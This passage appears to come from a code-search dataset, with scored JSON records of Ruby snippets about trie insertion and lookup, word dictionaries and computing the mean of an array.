=> whole, # This flag is set to true if a lexeme corresponds to a whole wish.\n 'o' => false, # This flag is set to true when a lexeme is thought optional.\n '+' => 1, # Usage counter.\n '~' => [], # Synonyms.\n 'e' => [], # Key of the corresponding $elements.\n '<' => [] # Will contain found sub-lexemes.\n }\n end \n \n return in_lexicon\n\nend", "title": "" }, { "docid": "ba8ea227b64e5102eb8631d85b9e4018", "score": "0.5356959", "text": "def is_valid_word?(word, dict)\n valid_list = Trie.new\n dict.each do |str|\n valid_list.insert(str)\n end\n\n valid_list.find(word)\nend", "title": "" }, { "docid": "ee512ad21c3fa84b9c4a34ca765c5166", "score": "0.5348798", "text": "def populate_trie\n trie = Trie.new\n @people.each do |p|\n trie.insert(p.email) if p.email\n end\n\n trie\n end", "title": "" }, { "docid": "a4cce6de81f28445f9d198e39a6e5857", "score": "0.5339242", "text": "def add trie_node\n case\n when trie_node.heap_index != -1\n @nodes[trie_node.heap_index].occurs += 1\n heapify_down_from(trie_node.heap_index)\n when @nodes.length == @capacity\n replace_root_with(trie_node) if trie_node.occurs > @nodes[0].occurs\n else\n @nodes.push(HeapNode.new(trie_node, @nodes.length))\n heapify_up_from((@nodes.length-1))\n end\n end", "title": "" }, { "docid": "7514bca8dcfe419287a1866cb9bef50f", "score": "0.5326741", "text": "def buscar(palabra)\n return if palabra.nil?\n\n @trie.buscar(palabra)\n end", "title": "" }, { "docid": "4cc1561a2a90b6aff89a07de49f523a2", "score": "0.53155404", "text": "def get_word(word)\n # start from the root and iterate down\n node = @root\n word.size.times { |i|\n # if our current letter doesnt exist as a child in our current node, the word is not in the trie\n return nil unless node.has?(word[i])\n node = node.get(word[i])\n }\n return node\n end", "title": "" }, { "docid": "82ad498efaf4c31d133b3d4f6fd6e865", "score": "0.5307197", "text": "def addWord(word)\n #jesli slowo szukane sie skonczylo, to koncz\n if word.length == 1\n @endpoint = true #to jest punkt konczacy\n return\n end \n #dodaj dziecko, jesli nie istnieje\n letter = word[0].chr\n @children[letter] = TelefonyNode.new(letter) unless @children[letter]!=nil\n #wywoluj rekursywnie\n @children[letter].addWord(word[1, word.length])\n end", "title": "" }, { "docid": "11b07112f51761cad85ee13ef8d41380", "score": "0.528752", "text": "def put(word)\n @root = add(@root, word, 0)\n end", "title": "" }, { "docid": "9f29e0cf0852b8f6dd3c596c378c23ab", "score": "0.5283388", "text": "def insert(word)\n node = @root\n word.chars.each do |el|\n node = (node.child[el] ||= TrieNode.new)\n end\n node.fullword = true\n nil\n end", "title": "" }, { "docid": "036bd2e53381bcc67cf8cd96b80b287e", "score": "0.5282911", "text": "def hash_lookup trie\n t = trie.find_prefix \"[\"\n return t if t.size <= 1\n each do |c|\n if t.keys[0][0] == '_' # the pattern has a symbol to match here, so no need to match this child\n t = t.find_prefix '_'\n else\n t = c.hash_lookup t\n end\n return t if t.size <= 1\n end\n t.find_prefix \"]\"\n end", "title": "" }, { "docid": "383a3e23486ac3cc7c272a12f313afa3", "score": "0.52768147", "text": "def add(word)\n node = @root\n word.chars.each do |char|\n node[char] ||= {}\n node = node[char]\n end\n\n node[:end] = true\n end", "title": "" }, { "docid": "013586c21715e985aff115300f5834fa", "score": "0.5263909", "text": "def reconstruir_palabras\n palabras = []\n @trie.reconstruir_palabras_nodo('', palabras)\n palabras\n end", "title": "" }, { "docid": "0e3cd46104aab4465c0498e85e7f600f", "score": "0.5242762", "text": "def add(key, value)\n node = @root\n key.each_char do |char|\n node.children[char] ||= TrieNode.new(@default_value)\n node = node.walk(char)\n end\n node.value = value\n @size += 1 unless node.terminal\n node.terminal = true\n value\n end", "title": "" }, { "docid": "fbdb062b2076894203a12f42622f7b25", "score": "0.5222039", "text": "def initialize(c1,c2)\n\t\t@ctrie = Trie.read('ctrie.dict')\n\t\t@xt = c1^c2\n\t\t@c1 = c2\n\t\t@c2 = c2\n\tend", "title": "" }, { "docid": "7947e43875a15ea6d8ca9ce52466c920", "score": "0.52189547", "text": "def insert(word)\n node = @root\n word.each_char do |char|\n node.links[char] ||= TrieNode.new\n node = node.links[char]\n end\n node.is_word = true\n end", "title": "" }, { "docid": "26c89a805712a34a2ffdb5510e0a9b8e", "score": "0.51794887", "text": "def buscar(p)\r\n\t\t\r\n\t\t\t$dicTokens.each do |t|\r\n\t\t\t\tif p =~ t.basicTran\r\n\t\t\t\t\t\tnuevo1 = t.new(@linea,@colInicio,p)\r\n\t\t\t\t\t\t@tokens << nuevo1\r\n\t\t\t\t\t\t#mostrarResultado()\r\n\t\t\t\t\t\treturn\r\n\t\t\t\tend\r\n\t\t\tend\r\n\r\n\t\t\t\t#puts \"NO hizo match #{p}\"\r\n\t\t\t\terror = Error.new(@linea,@colInicio,p)\r\n\t\t\t\t@errores << error\r\n\t\t\t\tif @mal == 1\r\n\t\t\t\t\t@mal = 0\r\n\t\t\t\tend\r\n\t\t\t\treturn\r\n\tend", "title": "" }, { "docid": "57ab74291cf857a41fb52bbf45a8a093", "score": "0.51626676", "text": "def p(i); rex(nil, i, /P/); end", "title": "" }, { "docid": "31c56f9b03e1f1b7c0122838ed28d109", "score": "0.5159993", "text": "def hash_lookup trie\n t = trie.find_prefix \"#{@value}##{@children.length}\"\n if t.size <= 1\n t\n else\n @children.hash_lookup t\n end\n end", "title": "" }, { "docid": "9199338f271d56d01380775854c98c9a", "score": "0.51330286", "text": "def add_word\n end", "title": "" }, { "docid": "fab31f20f8583751b413ed980b0c7e32", "score": "0.5113187", "text": "def construct_trie(subtrie, chars_remaining, entry_data, depth = 0)\n subtrie[:depth] ||= depth\n if chars_remaining.empty?\n # Base condition met\n subtrie[:terminal] ||= []\n subtrie[:terminal] << entry_data unless subtrie[:terminal].include?(entry_data)\n else\n next_char = chars_remaining[0]\n subtrie[next_char] ||= {}\n subtrie[next_char][:path] ||= subtrie[:path].to_s + next_char\n subtrie[next_char] = construct_trie(subtrie[next_char], chars_remaining[1..-1], entry_data, depth + 1)\n end\n subtrie\n end", "title": "" }, { "docid": "2f0ee28cbc659cbaa7774dea1ab704ad", "score": "0.5089995", "text": "def trie(root, *addresses)\n Trie.from(root, *addresses)\n end", "title": "" }, { "docid": "443b77f9204d008a7ba9a17e8d727a69", "score": "0.50827557", "text": "def search(word)\n ptr = @trie\n word.each_char do |char|\n ptr[char] ? ptr = ptr[char] : (return false)\n end\n ptr.include? nil\n end", "title": "" }, { "docid": "cc7965b3351b450f801b9e0a4dfc3dd1", "score": "0.50764525", "text": "def add_word(word)\n pnt = @t\n word.chars.each do |x|\n if ! pnt[x] \n pnt[x] = {}\n end\n pnt = pnt[x]\n end\n pnt['end'] = {}\n end", "title": "" }, { "docid": "0802bde47003818ad959b3e607dc6476", "score": "0.5057362", "text": "def initialize(filter = nil)\n @db = Containers::Trie.new\n @filter = filter\n end", "title": "" }, { "docid": "a5dd064ee699afa7851b5cd2cdc101b2", "score": "0.5045272", "text": "def subtrie(parts)\n last_node, remaining = traverse(@root, parts)\n return nil unless remaining.empty?\n self.class.new(last_node)\n end", "title": "" }, { "docid": "f4e9429e9981483adf1210235dda05b8", "score": "0.5033637", "text": "def initialize(dictionary, type = :full)\n switch_trie_type(type)\n @root = TSS::Vertex.new\n @dictionary = dictionary\n build_trie\n end", "title": "" }, { "docid": "3bbea0584737904dc39329f3a96bba1e", "score": "0.50272864", "text": "def go(pt)\n end", "title": "" }, { "docid": "eceb73ec3da96d8b729fdff0ce12cafb", "score": "0.50232166", "text": "def lexv(ab, p)\n\tres = []\n\tarr_idx = Array.new(p) { |i| 0 }\n\tidx = 0\n\tlast = ''\n\n\twhile last != (ab.last * p)\n\t\tif last.size < p\n\t\t\tidx = 0\n\t\t\tarr_idx[last.length] = idx\n\t\t\tlast += ab[0]\n\t\telsif idx != (ab.size - 1)\n\t\t\tidx += 1\n\t\t\tarr_idx[last.length-1] = idx\n\t\t\tlast = last[0..p-2] + ab[idx]\n\t\telse\n\t\t\t# puts last, arr_idx.inspect\n\t\t\twhile arr_idx[last.length-1] == (ab.size - 1)\n\t\t\t\tlast = last[0..last.length-2]\n\t\t\tend\n\t\t\tarr_idx[last.length - 1] += 1\n\t\t\tlast[-1, 1] = ab[arr_idx[last.length - 1]]\n\t\t\t# puts arr_idx.inspect, last, '----'\n\t\tend\n\t\tres.push last\n\tend\n\tres\nend", "title": "" }, { "docid": "b1e128d851fd6e129709ec831f75ce59", "score": "0.5022393", "text": "def palindrome_substrings(word)\n palin_subs = []\n subs = substrings(word)\n\n subs.each do |substring|\n if substring.length > 1\n palin_subs << substring if palindrome?(substring)\n end\n end\n\n palin_subs\nend", "title": "" }, { "docid": "1c494174760d46ace11fe3eaf12e7167", "score": "0.5022326", "text": "def treasureFinder(map, char)\n\nend", "title": "" }, { "docid": "fc7ffa42b76276b8e4fba3914e69fc90", "score": "0.50162905", "text": "def test_add_two_xlates\n d = Dictionary.new\n d.add_translation(\"book\", \"boek\")\n d.add_translation(\"house\", \"huis\")\n assert !d.empty?\n assert_equal \"book\", d.translate(\"boek\")\n assert_equal \"house\", d.translate(\"huis\")\n end", "title": "" }, { "docid": "cfc2fd3039f4ef8e3b7310882d2cafe3", "score": "0.50072026", "text": "def setup\r\n @storage = Storage::Trie.new\r\n end", "title": "" }, { "docid": "cfc2fd3039f4ef8e3b7310882d2cafe3", "score": "0.50072026", "text": "def setup\r\n @storage = Storage::Trie.new\r\n end", "title": "" }, { "docid": "cbded7dc0ed8c42463f4ea1918aaab6d", "score": "0.50035137", "text": "def insert_tale(node)\n insertnode = Node.new(node,nil,@tale)\n @tale.next = insertnode\n @tale = insertnode\n @num_elem += 1\n end", "title": "" }, { "docid": "9f65011427fc9a65978d305e18299284", "score": "0.50029385", "text": "def search(to = nil)\n while (last_word = @queue.extract_min)\n break if (last_word == to)\n depth = @wordmap[last_word][:distance] + 1\n each_edge(last_word) { |next_word|\n if @wordmap[next_word][:distance] > depth # avoid cycles\n @wordmap[next_word] = { :prev => last_word, :distance => depth }\n @queue.insert( depth + next_word.distance(to), next_word )\n end\n }\n end\n end", "title": "" }, { "docid": "4bb186905287d2faea8f3fda54549709", "score": "0.49990922", "text": "def add_helper(curr_node, idx, word)\n if idx == word.length\n curr_node.end_of_word = true\n else\n # Does the current node contain the next letter?\n ci = TrieNode.child_idx(word[idx])\n next_node = curr_node.children[ci]\n if next_node.nil?\n # We aren't storing that letter here. Let's add it here,\n # and recurse down to finish adding the word\n next_node = TrieNode.new\n curr_node.children[ci] = next_node\n end\n add_helper(next_node, idx + 1, word)\n end\n end", "title": "" }, { "docid": "ed1d7c41731523bb785f24e98d28678e", "score": "0.49801198", "text": "def add_word(rootword, followedby)\n @dictionary[rootword] ||= []\n @dictionary[rootword] << followedby\n end", "title": "" }, { "docid": "6fff4d8c42d0b3d74e13b27048499342", "score": "0.49757618", "text": "def add(word)\n return if word.nil? || word.gsub(/\\s+/, '') == ''\n root = @root\n letters = word.split('').each do |l|\n root = get_sub_root root, l\n end\n self\n end", "title": "" }, { "docid": "eb37b97ce180c3b307b84dfb023b8db4", "score": "0.49725252", "text": "def parse(text)\n @trie_instance.parse(text)\n end", "title": "" }, { "docid": "4451948906974f056d8dd7fe5704a422", "score": "0.49638382", "text": "def visit_word(node); end", "title": "" }, { "docid": "decfd74cc533ec4beb2e017ef901f96d", "score": "0.49631748", "text": "def step_vl7(ary)\n ary.change('t', Segment.new('tʃ', 'ç'), ->(s) { s.next.delete }) do |segm|\n segm.next.phon == 'k'\n end\nend", "title": "" }, { "docid": "08d2ab9f5257b88eb1c27960d894097f", "score": "0.496288", "text": "def insert(str:, val:)\n if str.empty?\n raise \"Empty string given\"\n end\n\n i = 0\n n = str.length\n\n # Now lets Walk tree to find node w/ character as key\n node = @root\n while i < n\n child = node.get_child(str[i])\n break if child.nil?\n node = child\n i = i + 1\n end\n\n # Otherwise, we found leaf node. Now we add new path of remaining chars to trie\n while i < n\n new_leaf = Node.new(key: str[i])\n node.add_child(new_leaf)\n node = new_leaf\n i = i + 1\n end\n\n node.value = val\n\n end", "title": "" }, { "docid": "2c790dc7b6e031146f53a659ec9f36bb", "score": "0.49439785", "text": "def pigLatin2(palabra)\n arr = palabra.split(\"\")\n letra = arr.first\n aux = []\n if letra == \"a\" || letra == \"e\" || letra == \"i\" || letra == \"o\" || letra == \"u\" \n resp = arr.join + \"way\"\n else\n while letra != \"a\" && letra != \"e\" && letra != \"i\" && letra != \"o\" && letra != \"u\" && !arr.empty?\n aux.push(letra)\n arr.delete(letra)\n letra = arr.first\n end\n resp = arr.join + aux.join + \"ay\"\n end\n resp\nend", "title": "" }, { "docid": "8d1b1ac33632b7e03c1d18ce0c03c99a", "score": "0.4943887", "text": "def initialize\n @children = {}\n @is_word = false\n end", "title": "" }, { "docid": "4261d882ff42d718b18f67d554bfe2fc", "score": "0.49434626", "text": "def leet_sub\n @leet_sub ||= {\n ?1 => ?i,\n ?2 => ?z,\n ?3 => ?e,\n ?4 => ?a,\n ?5 => ?s,\n ?6 => ?g,\n ?7 => ?t,\n ?8 => ?b,\n ?0 => ?o,\n ?@ => ?a,\n ?$ => ?s\n }\n end", "title": "" }, { "docid": "533a84321df02e79ece4d6592c11ba94", "score": "0.4939947", "text": "def _P\n\n _save = self.pos\n while true # choice\n _tmp = _letter(\"p\", \"P\")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\\\p\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_P unless _tmp\n return _tmp\n end", "title": "" }, { "docid": "49a808e2e1c9a953a488ccd3d4f6856d", "score": "0.4939116", "text": "def search(word, acc=\"\")\n #jesli slowo sie skonczylo, to koncz\n if word.length == 0\n #ale zwróć słowo tylko jeśli ten wezeł jakieś kończy\n if @endpoint\n return acc\n else\n [ ]\n end\n end \n \n #lista wynikow\n result = []\n #rozwazana litera\n letter = word[0].chr\n #wywoluj rekursywnie, dla kazdego istniejacego dziecka\n defined? LettersMapping.mapping[letter].each{ |l|\n #dla wybranego dziecka wywolujemy szukanie krotszego slowa, jesli dziecko istnieje\n result << @children[l].search(word[1, word.length], acc+l) unless @children[l]==nil\n }\n #zamieniamy liste list na liste\n return result.flatten\n end", "title": "" }, { "docid": "824a3217ef8416d245c09709d5839f11", "score": "0.4932751", "text": "def delete(item)\n trie = @trie.delete(item)\n new_trie(trie)\n end", "title": "" }, { "docid": "f580d9e52722cd8e3b2f148c268786ee", "score": "0.49268907", "text": "def insert(word)\r\n \r\n end", "title": "" }, { "docid": "aa3958645ce1fd9d4a960d68d233b1fc", "score": "0.49267244", "text": "def test_adding_xlate\n d = Dictionary.new\n d.add_translation(\"book\", \"boek\")\n assert !d.empty?\n end", "title": "" }, { "docid": "dc83e04134d129b1374b742a25db7b70", "score": "0.49129963", "text": "def add(item)\n include?(item) ? self : self.class.alloc(@trie.put(item, nil))\n end", "title": "" }, { "docid": "c2803e6fdaee0cd31fa863d3b63538e8", "score": "0.49100912", "text": "def new_palindrome(word)\n\tarray_word = word.split(//)\n\n\tappendable = []\n\n\t# I forgot what I wrote for this question and i dont feel like \n\t# writing it all out right now\n\n\t# but the idea was to remove the letters from the end of the original\n\t# word until the original word was a palindrome\n\n\t# each time you removed a letter, you push it onto a new stack\n\n\t# you then return the sum of both stacks\n\n\t# example: abcd\n\n\t# remove_and_push_to_stack = abc -> d\n\t# isPalindrome?(abc)\n\n\t# remove_and_push_to_stack = ab -> cd\n\t# isPalindrome?(ab)\n\n\t# remove_and_push_to_stack = a -> bcd\n\t# isPalindrome?(a)\n\n\t# YES is palindrome !\n\n\t# now return the new string, the last element is simply the reverse of the first element\n\n\t# bcd + a + dcb\n\t\nend", "title": "" }, { "docid": "35dd13ba50fec32fa10246e541a64912", "score": "0.48998514", "text": "def /(p0) end", "title": "" }, { "docid": "74152d80349b217fc41d85839102177a", "score": "0.48963207", "text": "def solve(words)\n words.sort_by! { |word| -word.size }\n dict = TrieNode.build_from_list(words)\n\n words.each do |word|\n if is_complex_word?(word, dict)\n return word\n end\n end\n\n nil\n end", "title": "" }, { "docid": "d66df982437098d87a73af62bdf08d1e", "score": "0.48864922", "text": "def search(word)\n trie_ptr = self\n word.each_char do |ch|\n if !trie_ptr.map_of_children[ch]\n return false\n end\n trie_ptr = trie_ptr.map_of_children[ch]\n end\n trie_ptr.end_of_word\n end", "title": "" }, { "docid": "84cc33cdb338d6a128957726485ac431", "score": "0.48831493", "text": "def add_word(word)\n \n end", "title": "" }, { "docid": "33ea8f3f6eaa15092ff901f818c92e84", "score": "0.48817426", "text": "def solve_location(location, successors, string)\n #puts \"Searching for successors around #{location}, current word is #{string}\"\n #puts \"Options are #{location.adjacent.select{|possible_move| !possible_move.visited?}}\"\n new_string = nil\n next_node = nil\n words = []\n #only want nodes that haven't been visited in this run yet (visible\n #has been set by calling stack frame)\n location.adjacent.select{|possible_move| !possible_move.visited?}.each do |move|\n #puts \"Checking dictionary for words with next letter of #{move.letter} for string #{string}\"\n next_node = successors[move.letter]\n if next_node and !next_node.exhausted? #if this is found, we can make more words\n #puts \"Successor found.\"\n new_string = string\n #avoid using block twice\n move.visited = true\n \n new_string += next_node.letter\n if next_node.ends_word?#if this character is the end of a word, add it to our list\n #puts \"Word found, adding: #{new_string}\"\n words << Word.new(new_string)\n if next_node.successors_exhausted?#update exhausted status since we used this word\n #puts \"Exhausted node #{next_node.letter} with string '#{string}'.\"\n next_node.exhausted = true\n end\n end\n if !next_node.successors.empty?#if we have successors, keep going\n words = words + solve_location(move, next_node.successors, new_string)\n if next_node.successors_exhausted?#if the successors are exhausted, so are we.\n #puts \"Exhausted node #{next_node.letter} with string '#{string}'.\"\n next_node.exhausted = true\n end\n else\n #puts \"No more successors, giving up on #{string}\"\n end\n #unflag this position so that other paths can use it\n move.visited = false\n end\n end\n return words\n end", "title": "" }, { "docid": "380a0ea6db7e030012c0519908b9fb88", "score": "0.48720086", "text": "def append(word)\n self.clear_memoized\n @@words[word.to_prime] << word\n end", "title": "" }, { "docid": "6be86721149fd3657e6f99f7f4dfd687", "score": "0.48686635", "text": "def pig_latin(word)\n\nend", "title": "" } ]
4060c11756d607e80d87dfdd64459066
=begin CREATED: Henry Karagory 2/19/2018 Description: Tests the mean of an empty array. =end
[ { "docid": "d9cae1dc2ae54bcfc4f8c1eba1e962e5", "score": "0.86827725", "text": "def test_mean_empty_array\n expected_sum = 0\n assert_equal expected_sum, Stats.average(Array.new)\n end", "title": "" } ]
[ { "docid": "a36922061c6ab682049e3076455111f0", "score": "0.8277518", "text": "def test_average_of_empty_array_returns_zero\n assert_equal array_average([]), 0\n end", "title": "" }, { "docid": "0783765ab0ed206b5423929522e994b1", "score": "0.7410359", "text": "def test_std_dev_empty_array\n expected_sum = 0\n assert_equal expected_sum, Stats.std_dev(Array.new)\n end", "title": "" }, { "docid": "373323754afcd00f52c2cc77f52326df", "score": "0.7246809", "text": "def average(array)\n return 0 if array.empty?\n array.sum / array.size\nend", "title": "" }, { "docid": "234c171d3cb34f50dc418796a0e73465", "score": "0.72287834", "text": "def mean(array)\n array.sum(0.0) / array.size\nend", "title": "" }, { "docid": "d4390e333ad12416a5ede7ac1c5339cd", "score": "0.7203666", "text": "def average(anArray)\n if anArray.empty? then\n return 0.0\n else\n return sum(anArray) / anArray.size\n end \nend", "title": "" }, { "docid": "49c3b81f6b6c22f096fce94cdfa3d98b", "score": "0.7197938", "text": "def test_sum_empty_array\n expected_sum = 0\n assert_equal expected_sum, Stats.sum(Array.new)\n end", "title": "" }, { "docid": "ab225f66697286f8f86364a1b8a837b1", "score": "0.7188078", "text": "def mean\n if self.length == 0\n nil\n else\n self.total_sum / self.length\n end\n end", "title": "" }, { "docid": "5f4dfbeba8031178a88b49efeb28e18c", "score": "0.7140772", "text": "def average (array)\n if array.empty? then\n 0\n else\n (sum(array)/array.size)\n end\nend", "title": "" }, { "docid": "d791b28aeda84ae794c6489d7efee8a4", "score": "0.7130242", "text": "def mean( array )\n sum( array ) / array.size\nend", "title": "" }, { "docid": "99afaaa96359da1e90de890b8a7689d8", "score": "0.70807123", "text": "def test_mean_array_1\n expected_mean = 2.5\n assert_equal expected_mean, Stats.average(@array1)\n end", "title": "" }, { "docid": "f3ea09d6bc9edb4bb52f04441b3875b4", "score": "0.70665723", "text": "def test_computes_sum_of_empty_array\n\t\tassert_equal(0, sum([]))\n\tend", "title": "" }, { "docid": "d04f3c74d83b85d81ca47fbe91664470", "score": "0.7009209", "text": "def average (anArray)\n if (anArray.length <= 0)\n return 0.0;\n else\n return sum(anArray) / anArray.length;\n end\nend", "title": "" }, { "docid": "b28740e2dc91910aa1266a141b22cb56", "score": "0.6979658", "text": "def mean\n size==0 ? nil : sum.to_f / size\n end", "title": "" }, { "docid": "240c578053aa8d81280de4cbb5183dfb", "score": "0.69739395", "text": "def non_zero_array_average(arr)\n debug_puts \"average of the entire array = #{arr.inject{ |sum, el| sum + el }.to_f / arr.size}\"\n arr.delete(0)\n debug_puts \"average of the non-zero numbers in the array = #{arr.inject{ |sum, el| sum + el }.to_f / arr.size}\"\n return arr.inject{ |sum, el| sum + el }.to_f / arr.size\n end", "title": "" }, { "docid": "3ae51a56845f3994bf41d4b7755a2c2d", "score": "0.69513845", "text": "def calc_mean(ary)\n if !ary.is_a?(Array)\n 0\n elsif ary.empty?\n 0\n else\n # Your code goes here \n\n #add the numbers \n #divide by the amount of numbers in array\n temp = 0\n ary.each do |index|\n temp = temp + index\n\n end\n\n mean = temp / ary.size\n\n return mean\n end\nend", "title": "" }, { "docid": "a69d340f9144e40c90225f03127dcb78", "score": "0.69384354", "text": "def test_mean_array_2\n expected_mean = 8\n assert_equal expected_mean, Stats.average(@array2)\n end", "title": "" }, { "docid": "2cfe9ef7e910fbee9d16087614cd3e2d", "score": "0.69130063", "text": "def average(array)\n if array.size <= 0\n return 0.0\n end\n return sum(array) / array.size\nend", "title": "" }, { "docid": "0b5b457270e934cd2a3ec38d986333cf", "score": "0.6896081", "text": "def mean\n a = flatten.compact\n (a.size > 0) ? a.sum.to_f / a.size : 0.0\n end", "title": "" }, { "docid": "08a7519aadf47fb0398552526e13471a", "score": "0.68484294", "text": "def mean(arr = nil)\n arr ||= scores\n return (arr.reduce(0) { |sum, item| sum + item }.to_f / arr.count) unless arr.empty?\n nil\n end", "title": "" }, { "docid": "ccbf4660852797d87ff5865203bac7df", "score": "0.68432456", "text": "def mean\n sum = 0\n @test.each do |value|\n sum += value[2] - value[3]\n end\n\n sum/@test.length.to_f\n end", "title": "" }, { "docid": "07816fdfb0158b7d0ef694c4eb7194b0", "score": "0.6815013", "text": "def mean(options = {})\n c = count(options)\n return nil if c.zero? # if the array is empty will be returned nil\n sum(options) / c\n end", "title": "" }, { "docid": "cd60402c0cbeb479ab04d527258b2749", "score": "0.6814942", "text": "def mean(array)\n total = 0.0\n array.each do |value|\n total += value\n end\n total / array.size\nend", "title": "" }, { "docid": "76188eefeaffafe624e25f7ef6c0ed09", "score": "0.68082213", "text": "def average(anArray)\n avg = 0\n sum = sum(anArray)\n if (anArray.length > 0) then\n avg = sum / anArray.length\n else\n return 0\n end\nend", "title": "" }, { "docid": "3bded335d0db97a2f468e8f596ca0373", "score": "0.6796509", "text": "def test_computes_sum_of_empty_array\n result = @calculator.computes_sum([])\n expected = 0\n assert_equal expected, result\n end", "title": "" }, { "docid": "9283d903cb5f9e237464379be24264fc", "score": "0.6784831", "text": "def mean\n return 0.0 if @test_results.size < 2\n @test_results.inject(0) { |sum_errors, tuple| sum_errors + (tuple[2] - tuple[3]).abs }.to_f / @test_results.size.to_f\n end", "title": "" }, { "docid": "d0b00925a0f7d9586553bbe26e3759f9", "score": "0.6775594", "text": "def mean(arr)\n return 0 if arr.empty?\n sum = 0\n\n arr.each do |num|\n sum = sum + num\n end\n \n sum / arr.count\nend", "title": "" }, { "docid": "d70f03851d816d5032a63f37ca035078", "score": "0.6720388", "text": "def mean\n\t\t\t(self.size > 0) ? (self.sum.to_f / self.size) : 0\n\t\tend", "title": "" }, { "docid": "0aa78452182dd118da50c0622e8bc4bb", "score": "0.6646119", "text": "def mean\n\t\treturn false if !self.numeric?\n\t\treturn self.element_sum.to_f/self.length\n\tend", "title": "" }, { "docid": "bed775f15b3a4edc080c03ade5765e1f", "score": "0.66459036", "text": "def mean array\n length = array.length\n sum = 0 \n array.each do |x|\n sum += x\n end\n sum / length\nend", "title": "" }, { "docid": "c98c4490eaad0ae1cc8277ee0fb81ffb", "score": "0.6578366", "text": "def average_array(array)\n array.each do |ele|\n raise \"All member must be numbers\" if !(ele.instance_of?(Integer))\n end\n\n array.sum / array.length.to_f\nend", "title": "" }, { "docid": "648a5c7c49621fbbf71a75d3abc213e3", "score": "0.6572245", "text": "def mean array\n array.inject(:+).to_f / array.length.to_f\n end", "title": "" }, { "docid": "f004d4238b7823e71a450c2be44e2585", "score": "0.65676653", "text": "def mean(*values)\n return 0 if values.empty?\n sum(values) / Float(values.length)\nend", "title": "" }, { "docid": "c45bef241ac662dc9fd5d2b820455ff7", "score": "0.6566999", "text": "def arithmetic_mean\n size > 0 ? sum.to_f / size : 0\n end", "title": "" }, { "docid": "31ed9726401d42a887beeae43f479590", "score": "0.6550263", "text": "def mean(arr)\n arr.reduce(:+) / arr.size\nend", "title": "" }, { "docid": "609fe0736bf67c70c4c71d1bdfb3e78d", "score": "0.65296197", "text": "def average(array)\n if !array.is_a?(Array)\n return nil\n else \n sum = 0\n array.each do |i|\n sum += i\n end\n return sum / (array.length * 1.0)\n end\nend", "title": "" }, { "docid": "e6b6f31f0e9c6810ca807fb78451217c", "score": "0.6529234", "text": "def average (anArray)\n\n\t#if the array is empty...\n\tif anArray.empty?\n\t\treturn 0.0\n\n\t# otherwise, return the sum divided by the number of values\n\telse\n\t\treturn sum(anArray) / anArray.size\n\tend\nend", "title": "" }, { "docid": "c4e3a80d6eba4ad4e8a9d84bfc504273", "score": "0.65188867", "text": "def average(anArray)\n\tif anArray.size > 0 then\n\t\treturn sum(anArray) / anArray.size\n\telse\n\t\treturn 0.0\n\tend\nend", "title": "" }, { "docid": "b33fb4b33445d601d7ef0aeda78170f3", "score": "0.6516815", "text": "def average\n if self.length > 0\n return self.sum / (self.length * 1.0)\n else\n return nil\n end\n end", "title": "" }, { "docid": "2fd65dd95bd48d80556321bd5e6f57c3", "score": "0.650104", "text": "def mean(ary)\n # your implementation here\n avg = ary.reduce(0) {|item,acc| acc + item} / ary.length\n avg\nend", "title": "" }, { "docid": "092f46fb8ad4c272eca60e2c196c6b87", "score": "0.64941543", "text": "def mean(array)\n\ttotal = 0\n\tarray.each do |x|\n\t\ttotal = total + x\n\tend\n\tmean = total.to_f / array.count\n\tputs mean\nend", "title": "" }, { "docid": "fcbdfe702381ad6b929e437d7e8d3083", "score": "0.64758015", "text": "def mean(array)\n array.inject(:+).to_f / array.size\nend", "title": "" }, { "docid": "0586e8db001e78c0525be8831181a7d5", "score": "0.644735", "text": "def average(array)\n array.sum / array.length\nend", "title": "" }, { "docid": "445ff0bf0860bc27e4e4ceebb6ad3842", "score": "0.6429698", "text": "def mean(array)\n total = array.inject(0) {|sum, x| sum += x}\n # use to_f to avoid get integer result\n return total.to_f / array.length\nend", "title": "" }, { "docid": "325df468cba933ba81d3a5ca6176ceb1", "score": "0.6404264", "text": "def average(array)\n return sum(array)/array.length \nend", "title": "" }, { "docid": "81e0e3489256f91e758d98b89721a600", "score": "0.6400143", "text": "def find_average \n result = array.sum(0.0)/array.size\n return result\n end", "title": "" }, { "docid": "94f5af6e84330a60939bab8e3774e846", "score": "0.6354523", "text": "def average(arr)\n arr.sum / arr.length\nend", "title": "" }, { "docid": "94f5af6e84330a60939bab8e3774e846", "score": "0.6354523", "text": "def average(arr)\n arr.sum / arr.length\nend", "title": "" }, { "docid": "94f5af6e84330a60939bab8e3774e846", "score": "0.6354523", "text": "def average(arr)\n arr.sum / arr.length\nend", "title": "" }, { "docid": "893007b9e87dc7f1dba70f02d431c39b", "score": "0.6334863", "text": "def average(arr)\n arr.sum / arr.size\nend", "title": "" }, { "docid": "608df570ac159776cab5b60e3aa11314", "score": "0.6320716", "text": "def average\n @array.inject(0.0) {|total, n| total + n} / @array.size\n end", "title": "" }, { "docid": "8b713dcb4d5cfe25b1ec4485f08b2aa2", "score": "0.63137305", "text": "def mean\n @cleaned_data.map(&:to_f).sum / n.to_f\n end", "title": "" }, { "docid": "656f2898ff7915d93004c498999182a9", "score": "0.63082075", "text": "def mean(array)\n total = 0\n array.each { |i| total+= i.to_f }\n total / array.count\n puts total\nend", "title": "" }, { "docid": "4ad00810cc1e1570e134dd45ae1d4e1e", "score": "0.63024473", "text": "def mean\n end", "title": "" }, { "docid": "39633dfef34f310ab9394f929f076506", "score": "0.630219", "text": "def mean() \n \treturn @error_list.inject{|s,n| s + n}/(@error_list.size * 1.0)\n end", "title": "" }, { "docid": "359cb429304ba2f47117d3a0d30619b6", "score": "0.63011897", "text": "def mean\n Statistics.mean @data\n end", "title": "" }, { "docid": "4aee95c975650ebebe0ff9bdcd3d6bd1", "score": "0.6291909", "text": "def mean\n\t\tsummation = predictions.inject(0.0) {|sum, pred| sum + pred.error }\n\t\tsummation / predictions.size\t\n\tend", "title": "" }, { "docid": "857184885d6148569c8002d368abe960", "score": "0.6285309", "text": "def mean\r\n sum / size\r\n end", "title": "" }, { "docid": "c2277da4673f878c558519c71bfbb8ab", "score": "0.6282176", "text": "def mean() \n return error_list.inject{|s,n| s + n}/(error_list.size * 1.0)\n end", "title": "" }, { "docid": "00f357abeef6dcac498ccc42559f3f5f", "score": "0.6279038", "text": "def get_mean\n (@dof > 1) ? 0.0 : Float::NAN \n end", "title": "" }, { "docid": "acd2e9e7a2a2c0d2546e5ed443147d41", "score": "0.627678", "text": "def mean\n inject(:+)/size.to_f\n end", "title": "" }, { 